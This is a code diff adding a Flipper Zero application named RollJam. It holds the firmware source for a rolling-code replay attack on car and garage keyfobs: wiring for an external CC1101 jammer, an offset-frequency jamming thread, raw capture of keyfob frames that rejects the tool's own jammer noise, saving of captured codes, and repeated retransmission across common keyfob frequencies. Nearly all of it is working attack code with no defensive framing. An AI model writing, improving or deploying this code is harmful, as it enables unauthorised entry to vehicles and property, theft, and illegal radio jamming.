furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
FURI_LOG_I(TAG, "EXT GPIO deinit");
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Public
|
||||
// ============================================================
|
||||
|
||||
void rolljam_jammer_start(RollJamApp* app) {
|
||||
if(app->jamming_active) return;
|
||||
app->jam_frequency = app->frequency + app->jam_offset_hz;
|
||||
rolljam_ext_power_on();
|
||||
furi_delay_ms(100);
|
||||
rolljam_ext_gpio_init();
|
||||
furi_delay_ms(10);
|
||||
app->jam_thread_running = true;
|
||||
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
|
||||
furi_thread_start(app->jam_thread);
|
||||
app->jamming_active = true;
|
||||
FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<");
|
||||
}
|
||||
|
||||
void rolljam_jammer_stop(RollJamApp* app) {
|
||||
if(!app->jamming_active) return;
|
||||
app->jam_thread_running = false;
|
||||
furi_thread_join(app->jam_thread);
|
||||
furi_thread_free(app->jam_thread);
|
||||
app->jam_thread = NULL;
|
||||
rolljam_ext_gpio_deinit();
|
||||
rolljam_ext_power_off();
|
||||
app->jamming_active = false;
|
||||
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
|
||||
}
|
||||
23
applications/main/RollJam/helpers/rolljam_cc1101_ext.h
Normal file
23
applications/main/RollJam/helpers/rolljam_cc1101_ext.h
Normal file
@@ -0,0 +1,23 @@
|
||||
#pragma once
|
||||
|
||||
#include "../rolljam.h"
|
||||
|
||||
/*
|
||||
* External CC1101 module connected via GPIO (bit-bang SPI).
|
||||
* Used EXCLUSIVELY for JAMMING (TX).
|
||||
*
|
||||
* Wiring (as connected):
|
||||
* CC1101 VCC -> Flipper Pin 9 (3V3)
|
||||
* CC1101 GND -> Flipper Pin 11 (GND)
|
||||
* CC1101 MOSI -> Flipper Pin 2 (PA7)
|
||||
* CC1101 MISO -> Flipper Pin 3 (PA6)
|
||||
* CC1101 SCK -> Flipper Pin 5 (PB3)
|
||||
* CC1101 CS -> Flipper Pin 4 (PA4)
|
||||
* CC1101 GDO0 -> Flipper Pin 6 (PB2)
|
||||
*/
|
||||
|
||||
void rolljam_ext_gpio_init(void);
|
||||
void rolljam_ext_set_flux_capacitor(bool enabled);
|
||||
void rolljam_ext_gpio_deinit(void);
|
||||
void rolljam_jammer_start(RollJamApp* app);
|
||||
void rolljam_jammer_stop(RollJamApp* app);
|
||||
636
applications/main/RollJam/helpers/rolljam_receiver.c
Normal file
636
applications/main/RollJam/helpers/rolljam_receiver.c
Normal file
@@ -0,0 +1,636 @@
|
||||
#include "rolljam_receiver.h"
|
||||
#include <furi_hal_subghz.h>
|
||||
#include <furi_hal_rtc.h>
|
||||
|
||||
#define CC_IOCFG0 0x02
|
||||
#define CC_FIFOTHR 0x03
|
||||
#define CC_MDMCFG4 0x10
|
||||
#define CC_MDMCFG3 0x11
|
||||
#define CC_MDMCFG2 0x12
|
||||
#define CC_MDMCFG1 0x13
|
||||
#define CC_MDMCFG0 0x14
|
||||
#define CC_DEVIATN 0x15
|
||||
#define CC_MCSM0 0x18
|
||||
#define CC_FOCCFG 0x19
|
||||
#define CC_AGCCTRL2 0x1B
|
||||
#define CC_AGCCTRL1 0x1C
|
||||
#define CC_AGCCTRL0 0x1D
|
||||
#define CC_FREND0 0x22
|
||||
#define CC_FSCAL3 0x23
|
||||
#define CC_FSCAL2 0x24
|
||||
#define CC_FSCAL1 0x25
|
||||
#define CC_FSCAL0 0x26
|
||||
|
||||
// ============================================================
|
||||
// Presets
|
||||
// ============================================================
|
||||
|
||||
static const uint8_t preset_ook_rx[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0xD7, // RX BW ~100kHz — wider than jam offset rejection but better sensitivity
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_DEVIATN, 0x47,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x43, // MAX_DVGA_GAIN=01, MAX_LNA_GAIN=max, MAGN_TARGET=011 — more sensitive
|
||||
CC_AGCCTRL1, 0x40, // CS_REL_THR relative threshold
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_FREND0, 0x11,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
};
|
||||
|
||||
static const uint8_t preset_fsk_rx[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0xE7,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_DEVIATN, 0x15,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
};
|
||||
|
||||
static const uint8_t preset_ook_tx[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0x8C,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_DEVIATN, 0x47,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_FREND0, 0x11,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
};
|
||||
|
||||
static const uint8_t preset_fsk_tx_238[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0x8C,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_DEVIATN, 0x15,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
};
|
||||
|
||||
static const uint8_t preset_fsk_tx_476[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0x8C,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_DEVIATN, 0x47,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
};
|
||||
|
||||
// ============================================================
|
||||
// Capture state machine
|
||||
// ============================================================
|
||||
|
||||
#define MIN_PULSE_US 50
|
||||
#define MAX_PULSE_US 32767 // int16_t max — covers all keyfob pulse widths
|
||||
#define SILENCE_GAP_US 50000 // 50ms gap = real end of frame for all keyfob types
|
||||
#define MIN_FRAME_PULSES 20 // Some keyfobs have short frames
|
||||
#define AUTO_ACCEPT_PULSES 300 // Need more pulses before auto-accept
|
||||
|
||||
// Tolerance for jammer pattern detection (microseconds)
|
||||
#define JAM_PATTERN_TOLERANCE 120
|
||||
|
||||
static bool rolljam_is_jammer_pattern(RawSignal* s) {
|
||||
if(s->size < 20) return false;
|
||||
int16_t first = s->data[0];
|
||||
int16_t abs_first = first > 0 ? first : -first;
|
||||
int matches = 0;
|
||||
for(size_t i = 0; i < s->size; i++) {
|
||||
int16_t val = s->data[i];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
int diff = abs_val - abs_first;
|
||||
if(diff < 0) diff = -diff;
|
||||
if(diff < JAM_PATTERN_TOLERANCE) {
|
||||
matches++;
|
||||
}
|
||||
}
|
||||
return (matches > (int)(s->size * 8 / 10));
|
||||
}
|
||||
|
||||
typedef enum {
|
||||
CapWaiting,
|
||||
CapRecording,
|
||||
CapDone,
|
||||
} CapState;
|
||||
|
||||
static volatile CapState cap_state;
|
||||
static volatile int cap_valid_count;
|
||||
static volatile int cap_total_count;
|
||||
static volatile bool cap_target_first;
|
||||
static volatile uint32_t cap_callback_count;
|
||||
static volatile float cap_rssi_baseline;
|
||||
|
||||
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(!app->raw_capture_active) return;
|
||||
if(cap_state == CapDone) return;
|
||||
|
||||
cap_callback_count++;
|
||||
|
||||
RawSignal* target;
|
||||
if(cap_target_first) {
|
||||
target = &app->signal_first;
|
||||
if(target->valid) return;
|
||||
} else {
|
||||
target = &app->signal_second;
|
||||
if(target->valid) return;
|
||||
}
|
||||
|
||||
uint32_t dur = duration;
|
||||
// Check silence gap BEFORE clamping so 50ms gaps are detected correctly
|
||||
// Clamp only affects stored sample value, not gap detection
|
||||
bool is_silence = (dur > SILENCE_GAP_US);
|
||||
if(dur > 32767) dur = 32767;
|
||||
|
||||
switch(cap_state) {
|
||||
case CapWaiting:
|
||||
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
|
||||
target->size = 0;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_state = CapRecording;
|
||||
|
||||
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
|
||||
target->data[target->size++] = s;
|
||||
cap_valid_count++;
|
||||
cap_total_count++;
|
||||
}
|
||||
break;
|
||||
|
||||
case CapRecording:
|
||||
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
|
||||
if(cap_valid_count >= MIN_FRAME_PULSES) {
|
||||
cap_state = CapDone;
|
||||
} else {
|
||||
target->size = 0;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_state = CapWaiting;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if(is_silence) {
|
||||
if(cap_valid_count >= MIN_FRAME_PULSES) {
|
||||
if(target->size < RAW_SIGNAL_MAX_SIZE) {
|
||||
int16_t s = level ? (int16_t)32767 : -32767;
|
||||
target->data[target->size++] = s;
|
||||
}
|
||||
cap_state = CapDone;
|
||||
} else {
|
||||
target->size = 0;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_state = CapWaiting;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
{
|
||||
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
|
||||
target->data[target->size++] = s;
|
||||
cap_total_count++;
|
||||
|
||||
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
|
||||
cap_valid_count++;
|
||||
if(cap_valid_count >= AUTO_ACCEPT_PULSES) {
|
||||
cap_state = CapDone;
|
||||
}
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case CapDone:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Capture start/stop
|
||||
// ============================================================
|
||||
|
||||
void rolljam_capture_start(RollJamApp* app) {
|
||||
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index);
|
||||
|
||||
// Full radio reset sequence
|
||||
furi_hal_subghz_reset();
|
||||
furi_delay_ms(10);
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(10);
|
||||
|
||||
const uint8_t* preset;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_FM238:
|
||||
case ModIndex_FM476:
|
||||
preset = preset_fsk_rx;
|
||||
break;
|
||||
default:
|
||||
preset = preset_ook_rx;
|
||||
break;
|
||||
}
|
||||
|
||||
furi_hal_subghz_load_custom_preset(preset);
|
||||
furi_delay_ms(5);
|
||||
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
|
||||
FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq);
|
||||
|
||||
furi_delay_ms(5);
|
||||
|
||||
furi_hal_subghz_rx();
|
||||
furi_delay_ms(50);
|
||||
cap_rssi_baseline = furi_hal_subghz_get_rssi();
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(5);
|
||||
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)cap_rssi_baseline);
|
||||
|
||||
cap_state = CapWaiting;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_callback_count = 0;
|
||||
|
||||
// Determine target
|
||||
if(!app->signal_first.valid) {
|
||||
cap_target_first = true;
|
||||
app->signal_first.size = 0;
|
||||
app->signal_first.valid = false;
|
||||
FURI_LOG_I(TAG, "Capture target: FIRST signal");
|
||||
} else {
|
||||
cap_target_first = false;
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.valid = false;
|
||||
FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)",
|
||||
app->signal_first.size);
|
||||
}
|
||||
|
||||
app->raw_capture_active = true;
|
||||
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
|
||||
|
||||
FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d",
|
||||
app->raw_capture_active, cap_target_first);
|
||||
}
|
||||
|
||||
void rolljam_capture_stop(RollJamApp* app) {
|
||||
if(!app->raw_capture_active) {
|
||||
FURI_LOG_W(TAG, "Capture stop: was not active");
|
||||
return;
|
||||
}
|
||||
|
||||
app->raw_capture_active = false;
|
||||
|
||||
furi_hal_subghz_stop_async_rx();
|
||||
furi_delay_ms(5);
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(5);
|
||||
|
||||
FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d",
|
||||
cap_callback_count, cap_state, cap_valid_count, cap_total_count);
|
||||
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
|
||||
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Validation
|
||||
// ============================================================
|
||||
|
||||
bool rolljam_signal_is_valid(RawSignal* signal) {
|
||||
if(cap_state != CapDone) {
|
||||
// Log every few checks so we can see if callbacks are happening
|
||||
static int check_count = 0;
|
||||
check_count++;
|
||||
if(check_count % 10 == 0) {
|
||||
FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d",
|
||||
cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
if(signal->size < MIN_FRAME_PULSES) return false;
|
||||
|
||||
// Reject jammer noise: if signal is uniform amplitude, it's our own jam
|
||||
if(rolljam_is_jammer_pattern(signal)) {
|
||||
FURI_LOG_W(TAG, "Jammer noise ignored (size=%d)", signal->size);
|
||||
signal->size = 0;
|
||||
cap_state = CapWaiting;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
return false;
|
||||
}
|
||||
|
||||
int good = 0;
|
||||
int total = (int)signal->size;
|
||||
|
||||
for(int i = 0; i < total; i++) {
|
||||
int16_t val = signal->data[i];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
if((int32_t)abs_val >= MIN_PULSE_US) { // upper bound = clamp at 32767
|
||||
good++;
|
||||
}
|
||||
}
|
||||
|
||||
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
|
||||
|
||||
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
|
||||
float rssi = furi_hal_subghz_get_rssi();
|
||||
float rssi_delta = rssi - cap_rssi_baseline;
|
||||
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d rssi=%.1f delta=%.1f",
|
||||
good, total, ratio_pct, total, (double)rssi, (double)rssi_delta);
|
||||
if(rssi_delta < 5.0f && rssi < -85.0f) {
|
||||
FURI_LOG_W(TAG, "Signal rejected: RSSI too low (%.1f dBm, delta=%.1f)",
|
||||
(double)rssi, (double)rssi_delta);
|
||||
signal->size = 0;
|
||||
cap_state = CapWaiting;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct);
|
||||
signal->size = 0;
|
||||
cap_state = CapWaiting;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
return false;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Signal cleanup
|
||||
// ============================================================
|
||||
|
||||
void rolljam_signal_cleanup(RawSignal* signal) {
|
||||
if(signal->size < MIN_FRAME_PULSES) return;
|
||||
|
||||
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
|
||||
if(!cleaned) return;
|
||||
size_t out = 0;
|
||||
|
||||
size_t start = 0;
|
||||
while(start < signal->size) {
|
||||
int16_t val = signal->data[start];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
if(abs_val >= MIN_PULSE_US) break;
|
||||
start++;
|
||||
}
|
||||
|
||||
for(size_t i = start; i < signal->size; i++) {
|
||||
int16_t val = signal->data[i];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
bool is_positive = val > 0;
|
||||
|
||||
if(abs_val < MIN_PULSE_US) {
|
||||
if(out > 0) {
|
||||
int16_t prev = cleaned[out - 1];
|
||||
bool prev_positive = prev > 0;
|
||||
int16_t prev_abs = prev > 0 ? prev : -prev;
|
||||
if(prev_positive == is_positive) {
|
||||
int32_t merged = (int32_t)prev_abs + abs_val;
|
||||
if(merged > 32767) merged = 32767;
|
||||
cleaned[out - 1] = prev_positive ? (int16_t)merged : -(int16_t)merged;
|
||||
}
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
int32_t q = ((abs_val + 50) / 100) * 100;
|
||||
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
|
||||
if(q > 32767) q = 32767;
|
||||
int16_t quantized = (int16_t)q;
|
||||
|
||||
if(out < RAW_SIGNAL_MAX_SIZE) {
|
||||
cleaned[out++] = is_positive ? quantized : -quantized;
|
||||
}
|
||||
}
|
||||
|
||||
while(out > 0) {
|
||||
int16_t last = cleaned[out - 1];
|
||||
int16_t abs_last = last > 0 ? last : -last;
|
||||
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
|
||||
out--;
|
||||
}
|
||||
|
||||
if(out >= MIN_FRAME_PULSES) {
|
||||
size_t orig = signal->size;
|
||||
memcpy(signal->data, cleaned, out * sizeof(int16_t));
|
||||
signal->size = out;
|
||||
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
|
||||
}
|
||||
|
||||
free(cleaned);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// TX
|
||||
// ============================================================
|
||||
|
||||
typedef struct {
|
||||
const int16_t* data;
|
||||
size_t size;
|
||||
volatile size_t index;
|
||||
} TxCtx;
|
||||
|
||||
static TxCtx g_tx;
|
||||
|
||||
static LevelDuration tx_feed(void* context) {
|
||||
UNUSED(context);
|
||||
if(g_tx.index >= g_tx.size) return level_duration_reset();
|
||||
|
||||
int16_t sample = g_tx.data[g_tx.index++];
|
||||
bool level = (sample > 0);
|
||||
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
|
||||
|
||||
return level_duration_make(level, dur);
|
||||
}
|
||||
|
||||
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
|
||||
if(!signal->valid || signal->size == 0) {
|
||||
FURI_LOG_E(TAG, "TX: no valid signal");
|
||||
return;
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", signal->size, app->frequency);
|
||||
|
||||
furi_hal_subghz_reset();
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(10);
|
||||
|
||||
const uint8_t* tx_preset;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_FM238:
|
||||
tx_preset = preset_fsk_tx_238;
|
||||
break;
|
||||
case ModIndex_FM476:
|
||||
tx_preset = preset_fsk_tx_476;
|
||||
break;
|
||||
default:
|
||||
tx_preset = preset_ook_tx;
|
||||
break;
|
||||
}
|
||||
furi_hal_subghz_load_custom_preset(tx_preset);
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
|
||||
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
|
||||
|
||||
// Transmit 3 times — improves reliability especially at range
|
||||
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
|
||||
g_tx.data = signal->data;
|
||||
g_tx.size = signal->size;
|
||||
g_tx.index = 0;
|
||||
|
||||
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
|
||||
FURI_LOG_E(TAG, "TX: start failed on repeat %d!", tx_repeat);
|
||||
furi_hal_subghz_idle();
|
||||
return;
|
||||
}
|
||||
|
||||
uint32_t timeout = 0;
|
||||
while(!furi_hal_subghz_is_async_tx_complete()) {
|
||||
furi_delay_ms(5);
|
||||
if(++timeout > 2000) {
|
||||
FURI_LOG_E(TAG, "TX: timeout on repeat %d!", tx_repeat);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
furi_hal_subghz_stop_async_tx();
|
||||
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)", tx_repeat, g_tx.index, signal->size);
|
||||
|
||||
// Small gap between repeats
|
||||
if(tx_repeat < 2) furi_delay_ms(50);
|
||||
}
|
||||
|
||||
furi_hal_subghz_idle();
|
||||
FURI_LOG_I(TAG, "TX: all repeats done");
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Save
|
||||
// ============================================================
|
||||
|
||||
void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
|
||||
if(!signal->valid || signal->size == 0) {
|
||||
FURI_LOG_E(TAG, "Save: no signal");
|
||||
return;
|
||||
}
|
||||
|
||||
DateTime dt;
|
||||
furi_hal_rtc_get_datetime(&dt);
|
||||
|
||||
FuriString* path = furi_string_alloc_printf(
|
||||
"/ext/subghz/RJ_%04d%02d%02d_%02d%02d%02d.sub",
|
||||
dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);
|
||||
|
||||
FURI_LOG_I(TAG, "Saving: %s", furi_string_get_cstr(path));
|
||||
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
storage_simply_mkdir(storage, "/ext/subghz");
|
||||
File* file = storage_file_alloc(storage);
|
||||
|
||||
if(storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
|
||||
FuriString* line = furi_string_alloc();
|
||||
|
||||
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
furi_string_printf(line, "Version: 1\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
const char* pname;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
|
||||
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
|
||||
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
|
||||
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
|
||||
}
|
||||
|
||||
furi_string_printf(line, "Preset: %s\n", pname);
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
furi_string_printf(line, "Protocol: RAW\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
size_t i = 0;
|
||||
while(i < signal->size) {
|
||||
furi_string_set(line, "RAW_Data:");
|
||||
size_t end = i + 512;
|
||||
if(end > signal->size) end = signal->size;
|
||||
for(; i < end; i++) {
|
||||
furi_string_cat_printf(line, " %d", signal->data[i]);
|
||||
}
|
||||
furi_string_cat(line, "\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
}
|
||||
|
||||
furi_string_free(line);
|
||||
FURI_LOG_I(TAG, "Saved: %d samples", signal->size);
|
||||
} else {
|
||||
FURI_LOG_E(TAG, "Save failed!");
|
||||
}
|
||||
|
||||
storage_file_close(file);
|
||||
storage_file_free(file);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
furi_string_free(path);
|
||||
}
|
||||
34
applications/main/RollJam/helpers/rolljam_receiver.h
Normal file
34
applications/main/RollJam/helpers/rolljam_receiver.h
Normal file
@@ -0,0 +1,34 @@
|
||||
#pragma once
|
||||
|
||||
#include "../rolljam.h"
|
||||
|
||||
/*
|
||||
* Internal CC1101 raw signal capture and transmission.
|
||||
*
|
||||
* Capture: uses narrow RX bandwidth so the offset jamming
|
||||
* from the external CC1101 is filtered out.
|
||||
*
|
||||
* The captured raw data is stored as signed int16 values:
|
||||
* positive = high-level duration (microseconds)
|
||||
* negative = low-level duration (microseconds)
|
||||
*
|
||||
* This matches the Flipper .sub RAW format.
|
||||
*/
|
||||
|
||||
// Start raw capture on internal CC1101
|
||||
void rolljam_capture_start(RollJamApp* app);
|
||||
|
||||
// Stop capture
|
||||
void rolljam_capture_stop(RollJamApp* app);
|
||||
|
||||
// Check if captured signal looks valid (not just noise)
|
||||
bool rolljam_signal_is_valid(RawSignal* signal);
|
||||
|
||||
// Clean up captured signal: merge short pulses, quantize, trim noise
|
||||
void rolljam_signal_cleanup(RawSignal* signal);
|
||||
|
||||
// Transmit a raw signal via internal CC1101
|
||||
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
|
||||
|
||||
// Save signal to .sub file on SD card
|
||||
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);
|
||||
21
applications/main/RollJam/readme.md
Normal file
21
applications/main/RollJam/readme.md
Normal file
@@ -0,0 +1,21 @@
|
||||
applications_user/rolljam/
|
||||
├── application.fam
|
||||
├── rolljam.png (icon 10x10)
|
||||
├── rolljam.c
|
||||
├── rolljam_icons.h
|
||||
├── scenes/
|
||||
│ ├── rolljam_scene.h
|
||||
│ ├── rolljam_scene_config.h
|
||||
│ ├── rolljam_scene_menu.c
|
||||
│ ├── rolljam_scene_attack_phase1.c
|
||||
│ ├── rolljam_scene_attack_phase2.c
|
||||
│ ├── rolljam_scene_attack_phase3.c
|
||||
│ └── rolljam_scene_result.c
|
||||
├── helpers/
|
||||
│ ├── rolljam_cc1101_ext.h
|
||||
│ ├── rolljam_cc1101_ext.c
|
||||
│ ├── rolljam_receiver.h
|
||||
│ └── rolljam_receiver.c
|
||||
└── views/
|
||||
├── rolljam_attack_view.h
|
||||
└── rolljam_attack_view.c
|
||||
236
applications/main/RollJam/rolljam.c
Normal file
236
applications/main/RollJam/rolljam.c
Normal file
@@ -0,0 +1,236 @@
|
||||
#include "rolljam.h"
|
||||
#include "scenes/rolljam_scene.h"
|
||||
#include "helpers/rolljam_cc1101_ext.h"
|
||||
#include "helpers/rolljam_receiver.h"
|
||||
#include "helpers/rolljam_cc1101_ext.h"
|
||||
|
||||
// ============================================================
|
||||
// Frequency / modulation tables
|
||||
// ============================================================
|
||||
|
||||
const uint32_t freq_values[] = {
|
||||
300000000,
|
||||
303875000,
|
||||
315000000,
|
||||
318000000,
|
||||
390000000,
|
||||
433075000,
|
||||
433920000,
|
||||
434420000,
|
||||
438900000,
|
||||
868350000,
|
||||
915000000,
|
||||
};
|
||||
|
||||
const char* freq_names[] = {
|
||||
"300.00",
|
||||
"303.87",
|
||||
"315.00",
|
||||
"318.00",
|
||||
"390.00",
|
||||
"433.07",
|
||||
"433.92",
|
||||
"434.42",
|
||||
"438.90",
|
||||
"868.35",
|
||||
"915.00",
|
||||
};
|
||||
|
||||
const char* mod_names[] = {
|
||||
"AM 650",
|
||||
"AM 270",
|
||||
"FM 238",
|
||||
"FM 476",
|
||||
};
|
||||
|
||||
